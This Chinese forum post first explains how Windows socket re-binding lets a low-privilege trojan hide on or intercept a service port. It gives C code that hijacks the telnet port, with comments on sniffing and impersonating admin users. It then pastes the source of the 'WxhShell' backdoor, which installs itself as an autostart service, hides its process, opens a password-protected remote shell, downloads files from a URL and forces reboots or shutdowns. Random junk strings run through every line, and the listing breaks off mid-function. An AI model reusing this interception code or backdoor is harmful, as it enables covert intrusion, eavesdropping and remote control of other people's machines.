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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G Ch]5\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5p]Cwj<u  
EW}7T3g  
  saddr.sin_family = AF_INET;  tOEY|  
fvH4<c5x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \])-Bp ,  
\(g/::|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %c`P`~sp  
3;t{V$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fZ7Ap3dmP  
4eh~/o&h  
  这意味着什么?意味着可以进行如下的攻击: W5c?f,  
y2=`NG=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 k&dLg5O  
O3];1ud  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1Bl;.8he.)  
z<h?WsL  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?mME^?x Mu  
{!]7=K)W9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -l2aAK1M  
J 6%CF2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uNoP8U%*  
!YZ$WiPl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R{3vPG  
6&qT1nF1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z+EN]02|  
<GRplkf`  
  #include gfU@`A_N"  
  #include ]?"1FSu-8r  
  #include C A 8N  
  #include    S`?L\R.:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X) O9PQ  
  int main() b>_eD-  
  { -z6{!  
  WORD wVersionRequested; = 3("gScUj  
  DWORD ret; M>m+VsJV  
  WSADATA wsaData; NBaXfWh  
  BOOL val; Ak=|wY{  
  SOCKADDR_IN saddr; Q}(D^rGP3  
  SOCKADDR_IN scaddr; yG~7Xo5  
  int err; DM[gjfMXu  
  SOCKET s; 8-clL\bm  
  SOCKET sc; Uk0Fo(HY  
  int caddsize; u ^}R]:n  
  HANDLE mt; +ia N[F$  
  DWORD tid;   {%PgR){qR  
  wVersionRequested = MAKEWORD( 2, 2 ); J\fu6Ti  
  err = WSAStartup( wVersionRequested, &wsaData ); 6M-Y`T`J  
  if ( err != 0 ) { J~=tR1 k  
  printf("error!WSAStartup failed!\n"); XxeyGs^%9  
  return -1; Dc;zgLLL  
  }  FKpyD  
  saddr.sin_family = AF_INET; ^PrG5|,s  
   *v6 j7<H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r@v_hc  
YI!@ ,t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0n('F  
  saddr.sin_port = htons(23); _4lhwKYU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {DVu* %|  
  { H7&bUt/  
  printf("error!socket failed!\n"); '3'*VcL(  
  return -1; _1EWmHZ?  
  } PEIf)**0N  
  val = TRUE; ,lUr[xzV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DwBKqhu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {=A8kgt  
  { tIJ?caX5=  
  printf("error!setsockopt failed!\n"); 2 ,bLEhu  
  return -1; o%1dbbh  
  } q(iM=IeiN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]%I}hj J  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Oqy&V&-C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n)6mfoe  
W^sH|2g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #\LsM ~,  
  { rh+2 7"  
  ret=GetLastError(); Z<M?_<3  
  printf("error!bind failed!\n"); jJU9~5i?  
  return -1; l$mfsm|{:  
  } B!iz=+RNC1  
  listen(s,2); ) HPe}(ypt  
  while(1) ^Ox|q_E w}  
  { L kA_M'G  
  caddsize = sizeof(scaddr); w]Byl3}Gt  
  //接受连接请求 N{o3w.g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); q\q8xF~[p  
  if(sc!=INVALID_SOCKET) 2S#|[wq(  
  {  jcVK4jW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l:?w{'i$  
  if(mt==NULL) ),53(=/hl  
  { r)Dln5F  
  printf("Thread Creat Failed!\n"); a3?D@@Qnw  
  break; fH6mv0  
  } b0n " J`  
  } >56I`[)  
  CloseHandle(mt); OqNtTk+  
  } ^;[|,:8f7L  
  closesocket(s); 64jFbbd-/  
  WSACleanup(); ,rZp(moj  
  return 0; Q q7+_,w  
  }   `L#`WC@[o  
  DWORD WINAPI ClientThread(LPVOID lpParam) "S ~(|G  
  { ,Q>Rt V  
  SOCKET ss = (SOCKET)lpParam; Q`* v|Lp  
  SOCKET sc; `eXTVi|0"~  
  unsigned char buf[4096]; Yj-JB  
  SOCKADDR_IN saddr; AIK99  
  long num; I C?bqC+  
  DWORD val; ZT'VF~  
  DWORD ret; B>=NE.ulUL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )!tqock*v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'Bc{N^  
  saddr.sin_family = AF_INET; gZ b +m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'L1=:g.\i  
  saddr.sin_port = htons(23); -o`Eka!ELz  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a"6AZT"8  
  { nz%{hMNYH  
  printf("error!socket failed!\n"); XoZPz  
  return -1; ~,jBm^4  
  } oMNgyAp^  
  val = 100; g4"0:^/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  |)'6U3  
  { dY6A)[dAH'  
  ret = GetLastError(); ^S]-7>Yyr  
  return -1; hnf7Q l}  
  } #x^dR-@   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cvk n2T  
  { 6~#$bp^-  
  ret = GetLastError(); L UitY  
  return -1; 9PZY](/  
  } &Ub0o2+y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Eh{]so  
  { WBIJ9e2~  
  printf("error!socket connect failed!\n"); `5$B"p&i  
  closesocket(sc); 6&Al9+$  
  closesocket(ss); ZM$}Xy\9  
  return -1; 6%nKrK  
  } 72;4  
  while(1) YN<:k Wu  
  { Q;EQ8pL?"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <XAW-m9SC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W{6%Hh p  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 djGzJLH  
  num = recv(ss,buf,4096,0); +2WvGRC  
  if(num>0) 'tRaF  
  send(sc,buf,num,0); Kq. MmR!gl  
  else if(num==0) mxxuD"5  
  break; &t0toEj  
  num = recv(sc,buf,4096,0); } eL*gy  
  if(num>0) _ U%fD|t  
  send(ss,buf,num,0); .&R j2d  
  else if(num==0) }% m:^*@$9  
  break; [`'[)B  
  } L4wKG&  
  closesocket(ss); %?`TyVt&0  
  closesocket(sc); QL{{GQ_dn  
  return 0 ; v\;hI5WY  
  } 3$E\B=7/U  
265sNaX  
Vu u2SS  
========================================================== 6n}5>GSF  
}>|!Mf]W?R  
下边附上一个代码,,WXhSHELL beN(7jo  
Q8^fgI|  
========================================================== 5*he  
ecjjCt2S  
#include "stdafx.h" 9N?BWv }  
'=^$ ;3Z  
#include <stdio.h> l'#P:eW  
#include <string.h> eC71;"  
#include <windows.h> m:{ws~   
#include <winsock2.h> TAl#V 7PF}  
#include <winsvc.h> *;]j#0  
#include <urlmon.h> pjI< cQ&  
 b}eBy  
#pragma comment (lib, "Ws2_32.lib") ?mjQN|D  
#pragma comment (lib, "urlmon.lib") k OycS  
:vqfWK6mv  
#define MAX_USER   100 // 最大客户端连接数 mV58&SZT  
#define BUF_SOCK   200 // sock buffer 9)Jc'd|  
#define KEY_BUFF   255 // 输入 buffer HS% P  
ML|O2e  
#define REBOOT     0   // 重启 [kjmEMF9i  
#define SHUTDOWN   1   // 关机 ^9g+\W  
.@(+.G  
#define DEF_PORT   5000 // 监听端口 sdWu6?B_  
:mpR}.^hv  
#define REG_LEN     16   // 注册表键长度 [nBdq"K  
#define SVC_LEN     80   // NT服务名长度 !x, ;&  
/<\B8^yQ  
// 从dll定义API tCw.wDq3=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6N^sUc0s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Gxj3/&]^Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $G_,$U !  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HalkNR-eEm  
IQz:D J  
// wxhshell配置信息 +/L "A  
struct WSCFG { qq)Dh'5*e,  
  int ws_port;         // 监听端口 x-Cy,d:YX  
  char ws_passstr[REG_LEN]; // 口令 l_Ffbs_6t  
  int ws_autoins;       // 安装标记, 1=yes 0=no D8b~-#  
  char ws_regname[REG_LEN]; // 注册表键名 DV,rh83.ip  
  char ws_svcname[REG_LEN]; // 服务名 &;D(VdSr9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @n-[bN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W)0y+H\% r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?\eq!bu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v@8 =u4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6axDuwQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ckelr  
7i,Z c]  
}; `9+>2*k  
2L'vB1 `  
// default Wxhshell configuration j#`d%eQ~J  
struct WSCFG wscfg={DEF_PORT, @L)=epC  
    "xuhuanlingzhe", oZY2K3J)  
    1, 0^27grU>   
    "Wxhshell", Ot]Y/;K  
    "Wxhshell", RnA>oKc  
            "WxhShell Service", j\ dY  
    "Wrsky Windows CmdShell Service", x@@U&.1_A  
    "Please Input Your Password: ", |] <eJ|\=  
  1, 41d,<E  
  "http://www.wrsky.com/wxhshell.exe", D`t }V  
  "Wxhshell.exe" 2!Mwui;%  
    }; 1b6o x6  
E27N1J+1  
// 消息定义模块 ;U +;NsCH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q66+x)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; LOD'iiH6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kg>Ymo.  
char *msg_ws_ext="\n\rExit."; ae)0Yu`*G7  
char *msg_ws_end="\n\rQuit."; UHtxzp =[  
char *msg_ws_boot="\n\rReboot..."; Pmj]"7Vd[  
char *msg_ws_poff="\n\rShutdown..."; BZXP%{njS  
char *msg_ws_down="\n\rSave to "; #b~wIOR)Z  
>UP{= `  
char *msg_ws_err="\n\rErr!"; ed,w-;(n~  
char *msg_ws_ok="\n\rOK!"; >@2l/x8;  
:uAW  
char ExeFile[MAX_PATH]; s[V$f vW  
int nUser = 0; ,@_$acm  
HANDLE handles[MAX_USER]; L=. 4x=%%  
int OsIsNt; ?a h<Qf]  
{L!w/IeX  
SERVICE_STATUS       serviceStatus; j4au Zl]NF  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @aG1PG{  
%'}L.OvG  
// 函数声明 x,s Ma*vd  
int Install(void); a:PS}_.  
int Uninstall(void); ^8mF0K&  
int DownloadFile(char *sURL, SOCKET wsh); X[frL)k]  
int Boot(int flag); uc% &g  
void HideProc(void); f PoC yl  
int GetOsVer(void); 0/8rYBV  
int Wxhshell(SOCKET wsl); kKFSCl/g  
void TalkWithClient(void *cs); b6IYo!3  
int CmdShell(SOCKET sock); *cdr,AD?lH  
int StartFromService(void); !bnuCc  
int StartWxhshell(LPSTR lpCmdLine); idm!6]  
Y* #'Gh,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kAbkhZ1^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :qV}v2  
1_Um6vS#  
// 数据结构和表定义 TJ:B_F*bSk  
SERVICE_TABLE_ENTRY DispatchTable[] = x*H4o{o0  
{ \haJe~  
{wscfg.ws_svcname, NTServiceMain}, FtUOgL)|  
{NULL, NULL} &S}i)Nu6J  
}; ;;zKHS  
U&fOsx?"  
// 自我安装 U/ncD F%C  
int Install(void) }w \["r  
{ sOSol7n  
  char svExeFile[MAX_PATH]; *t;'I -1w^  
  HKEY key; :*bmc/c  
  strcpy(svExeFile,ExeFile); 73$^y)AvY  
Ni$WI{e9  
// 如果是win9x系统,修改注册表设为自启动 YfC1.8  
if(!OsIsNt) { xw*T? !r=V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _P!J0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w][1C\8m  
  RegCloseKey(key); +Y!9)~f}7X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KzeTf?G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 360V  
  RegCloseKey(key); O a_2J#~$  
  return 0; >EFjyhVE  
    } / r#.BXP  
  } sXzxEhp  
} h1.]Nl C  
else { `~Eo;'(+^  
Le9^,B@Pb  
// 如果是NT以上系统,安装为系统服务 m*L*# ZBS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *P_ 3A:_  
if (schSCManager!=0) DLYk#d: q?  
{ NymS8hxR  
  SC_HANDLE schService = CreateService =J0X{Ovn4z  
  ( )bZS0f-  
  schSCManager, Y`S9mGR#  
  wscfg.ws_svcname, 'CT 8vt;  
  wscfg.ws_svcdisp, ^l#Z*0@><~  
  SERVICE_ALL_ACCESS, #vi `2F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RVv@x5  
  SERVICE_AUTO_START, TIg 3'au  
  SERVICE_ERROR_NORMAL, od{b]HvgS  
  svExeFile, LL5n{#)N  
  NULL, I_mnXd;n  
  NULL, j]EeL=H<P  
  NULL, a3i4eGT-  
  NULL, 2R&msdF   
  NULL } h|1H  
  ); 5qkG~ YO-  
  if (schService!=0) _94|^   
  { /dpEL9K  
  CloseServiceHandle(schService); +K4d(!Sb  
  CloseServiceHandle(schSCManager); *%L:soM'Ll  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `7qZ6Z3z@  
  strcat(svExeFile,wscfg.ws_svcname); =[!&&,c=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \2#>@6Sqrl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +Zu*9&Cx  
  RegCloseKey(key); `}gjfu -'\  
  return 0; vn@9Sqk  
    } SMVn2H@  
  } fu3/n@L  
  CloseServiceHandle(schSCManager); w-?_U7'  
} dzMlfJp  
}  4l+"J:,  
`_C4L=q"  
return 1; 5v4 ,YHD  
} 4 2aYM!  
9L;fT5Tp7  
// 自我卸载 C-/<5D j  
int Uninstall(void) 1BK-uv:  
{ Xc;W9e(U  
  HKEY key; OosxuAC(  
mG2*s ^$  
if(!OsIsNt) { 1.YDIB||  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VfOm#Ue0 q  
  RegDeleteValue(key,wscfg.ws_regname); E(Tvj\9  
  RegCloseKey(key); + ^n [B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p\66`\\l  
  RegDeleteValue(key,wscfg.ws_regname); sf4NKe2*  
  RegCloseKey(key); ftB-gItV  
  return 0; gT$`a  
  } mGZ^K,)&OR  
} V dp wZ  
} (K"U #Zn  
else { Z-W>WR  
ohqi4Y!j/~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); '`Eb].s*  
if (schSCManager!=0) a#t:+iw  
{ MPx%#'Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s86Ij>VLf  
  if (schService!=0) 9 |v3lGK(  
  { ?s[ kUv+=  
  if(DeleteService(schService)!=0) { uc]]zI6  
  CloseServiceHandle(schService); -ju&"L B  
  CloseServiceHandle(schSCManager); Pu dIb|V2  
  return 0; ,h,DB=!K<  
  } /1ZRjf^  
  CloseServiceHandle(schService); cl kL)7RQ  
  } ) -x0xY  
  CloseServiceHandle(schSCManager); f0+)%gO{  
} &GF@9BXI3  
} zi l^^wT0J  
$d 2mcwh\  
return 1; 1+|s   
} t'Zq>y;yg  
wlk{V  
// 从指定url下载文件 mm(Ff>O  
int DownloadFile(char *sURL, SOCKET wsh) mOG;[CB  
{ \^O&){q(9  
  HRESULT hr; F}p)Q$0  
char seps[]= "/"; U^iNOMs?  
char *token; K*^3FO}JG  
char *file; (D5 dN\  
char myURL[MAX_PATH]; 8."B  
char myFILE[MAX_PATH]; rw(EI,G  
aMdWT4  
strcpy(myURL,sURL); +VxzWNs*JP  
  token=strtok(myURL,seps); 34S0W]V  
  while(token!=NULL) &Z!O   
  {  [@YeQ{  
    file=token; Q!7il<S  
  token=strtok(NULL,seps); A)"?GK{*  
  } KwO;ICdJ  
jd]Om r!  
GetCurrentDirectory(MAX_PATH,myFILE); w1tWyKq  
strcat(myFILE, "\\"); 6U|An*  
strcat(myFILE, file); T%|{Qo<j  
  send(wsh,myFILE,strlen(myFILE),0); IiW*'0H:/  
send(wsh,"...",3,0); XS+2OutVo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Aw#@}TGT  
  if(hr==S_OK) y&;ytNG&<  
return 0; _Q)rI%A2  
else /dGpac  
return 1; QP HibPP:  
1.29%O8V_  
} aX CVC<l  
u7  s-  
// 系统电源模块 />^sGB  
int Boot(int flag) ejs_ ?  
{ gEr@L  
  HANDLE hToken; k# -u!G  
  TOKEN_PRIVILEGES tkp; B?A]0S  
o@T-kAEf-.  
  if(OsIsNt) { b ]A9$-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @`"U D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ux>wa+XFa  
    tkp.PrivilegeCount = 1; cV8Bl="gqe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O^/z7,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %DOV)Qc2  
if(flag==REBOOT) { 3vdhoS|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B?M&j  
  return 0; +% E)]*Ym  
} Q8d-yJs&  
else { '0ks`a4q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hbfN1 "z  
  return 0; Tfsx&k\  
} Lt'FA  
  } +UvT;"  
  else { /:S&1'=  
if(flag==REBOOT) { 3` ,u^ w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AN)exU ?  
  return 0; Bh<DqN  
} _m0B6?KJ  
else { \3K%>   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *z?Vy<u G  
  return 0; P|U9f6^3  
} `IC2}IiF  
} 2Q bCH}  
P]h-**O  
return 1; T( LlNq  
} ~;)H |R5kV  
5N~JRq\  
// win9x进程隐藏模块 'tJb(X!]q  
void HideProc(void) kH4xP3. i  
{ *WzvPl$e  
_|^cudRv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bf4QW JZD  
  if ( hKernel != NULL ) >^!)G^B  
  { %p; 'l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .:wo ARW!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0(o{V:l%Z|  
    FreeLibrary(hKernel); UiE 1TD{  
  } =PM6:3aKh  
ov$S   
return; yiO/0nMp  
} %M7EOa  
Kry^ 47"  
// 获取操作系统版本 %mFZ!(  
int GetOsVer(void) z%lLbKSe  
{ +"?O2PX  
  OSVERSIONINFO winfo; H$M{thW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )&px[Dbx  
  GetVersionEx(&winfo); /:GeXDJw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v\ <4y P  
  return 1; !+o`,KTYp  
  else VRQD  
  return 0; E{8-VmY  
} x\K9|_!  
@3v[L<S{  
// 客户端句柄模块 38zG[c|X  
int Wxhshell(SOCKET wsl) Ha41Wn'tZ  
{ crlCN  
  SOCKET wsh; 0J z|BE3Y  
  struct sockaddr_in client; 0\KDa$ '1k  
  DWORD myID; Vjqs\  
\R|qXB $  
  while(nUser<MAX_USER) qA>C<NL  
{ XGcl9FaO}  
  int nSize=sizeof(client); :zK\t5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .T*89cEu  
  if(wsh==INVALID_SOCKET) return 1; L)QAI5o:3  
Y+Cqc.JBQ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); VlFhfOR6t  
if(handles[nUser]==0) }!^`%\ %\  
  closesocket(wsh); !.c no&  
else #!7b3>}  
  nUser++; L IN$Y  
  } i~ITRi@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %(ms74R+  
V]W-**j<  
  return 0; COFCa&m9c  
} YDjjhe+  
*T-v^ndJh  
// 关闭 socket f5P@PG]{  
void CloseIt(SOCKET wsh) 9iM[3uyO  
{ jpt-5@5O  
closesocket(wsh); u!TMt8+c  
nUser--; P*g:rg  
ExitThread(0); cNG`-+U'  
} /|WBk}  
!f01.Tq8  
// 客户端请求句柄 +z O.|`+  
void TalkWithClient(void *cs) |wkUnn4UB8  
{ \xjI=P'-25  
_r?.%] \.  
  SOCKET wsh=(SOCKET)cs; ]EfM;'j[  
  char pwd[SVC_LEN]; 9/dI 6P7  
  char cmd[KEY_BUFF]; |*y'H*  
char chr[1]; }~!KjFbs  
int i,j; k.?@qCs[  
rOTxD/  
  while (nUser < MAX_USER) { .mvpFdn  
k~=W1R%  
if(wscfg.ws_passstr) { V]6CHE:BS  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I.{%e;Reg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q 1~3T;Il  
  //ZeroMemory(pwd,KEY_BUFF); k*|WI$  
      i=0; xF8 8'p'  
  while(i<SVC_LEN) { Ry`Y +  
Rd ,5 &X$  
  // 设置超时 ^+u/Lw&  
  fd_set FdRead; UhbGU G  
  struct timeval TimeOut; 1JY3c M  
  FD_ZERO(&FdRead); n}3fItSJ  
  FD_SET(wsh,&FdRead); +qee8QH  
  TimeOut.tv_sec=8; 5K {{o''  
  TimeOut.tv_usec=0; {(_>A\zi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5uO.@0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]}d.h!`<)  
iu'At7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >"<<hjKJ  
  pwd=chr[0]; 8?G534*r@2  
  if(chr[0]==0xd || chr[0]==0xa) { 7"p%c`*;  
  pwd=0; <>R\lPI2  
  break; 66l+cb  
  } &b=OT%D~FU  
  i++; Z>_F:1x  
    } 9PWqoz2c  
2SJ|$VsLaE  
  // 如果是非法用户,关闭 socket JB9s# `  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nD}CQ_C  
} !b?`TUt   
gbT1d:T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e6 a]XO^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]z"7v  
-jcgxQH53  
while(1) { FSHC\8siS  
MxLi'R=  
  ZeroMemory(cmd,KEY_BUFF); N6w!V]b  
i ?]`9z  
      // 自动支持客户端 telnet标准   UsnIx54D3  
  j=0; ]<:qMLg  
  while(j<KEY_BUFF) { A*TO0L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r%vO^8FQ  
  cmd[j]=chr[0]; uTRFeO>  
  if(chr[0]==0xa || chr[0]==0xd) { 3<X*wVi)NN  
  cmd[j]=0; 4&wwmAp^  
  break; g%%j"Cz1  
  } f6JC>Np  
  j++; k'PNfx\K  
    } ;[!W*8.c  
?.6fVSa  
  // 下载文件 o>@9[F,h+  
  if(strstr(cmd,"http://")) { U%l<48@8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); RZTC+ylj  
  if(DownloadFile(cmd,wsh)) i1DJ0xC]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); A?ij  
  else !"s~dL,7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D |9ItxYu  
  } u8b^DB#+W  
  else { Bw4 _hlm  
'WcP+4c  
    switch(cmd[0]) { Z lR2  
  CNrK]+>  
  // 帮助 C#:L.qK  
  case '?': { VD+y4t'^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cnR18NK  
    break; :i/uRR  
  } 0%;y'd**Ck  
  // 安装 *L=F2wW  
  case 'i': { BiD}C  
    if(Install()) TA>28/U#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *IV_evgM7  
    else 6w*q~{"(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n--w-1  
    break; `Uy4>?  
    } M:cW/&ZJ  
  // 卸载 ,&0iFUwN_  
  case 'r': { Or"+d 5  
    if(Uninstall()) Usf7 AS=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <BhNmEo)2  
    else E2yL9]K2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =6< Am  
    break; t[HA86X  
    } %C~LKs5oH  
  // 显示 wxhshell 所在路径 #uCE0}N@  
  case 'p': { !R3ZyZcX  
    char svExeFile[MAX_PATH]; V^qkHm e  
    strcpy(svExeFile,"\n\r"); .;jp2^  
      strcat(svExeFile,ExeFile); m$80D,3  
        send(wsh,svExeFile,strlen(svExeFile),0); #ByrX\  
    break; z-`-0@/A$  
    } 8mv}-;  
  // 重启 *."a>?D~  
  case 'b': { T Y*uK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @Xl/<S&  
    if(Boot(REBOOT)) kC=h[<'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); be+tAp`  
    else { D5jZ;z}  
    closesocket(wsh); o 12w p  
    ExitThread(0); aT20FEZ;  
    } z P=3B%$  
    break; zj UT:#(k  
    } %fB!XCW  
  // 关机 UwVc!Lys  
  case 'd': { W~2T/~M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CyV(+KBe_  
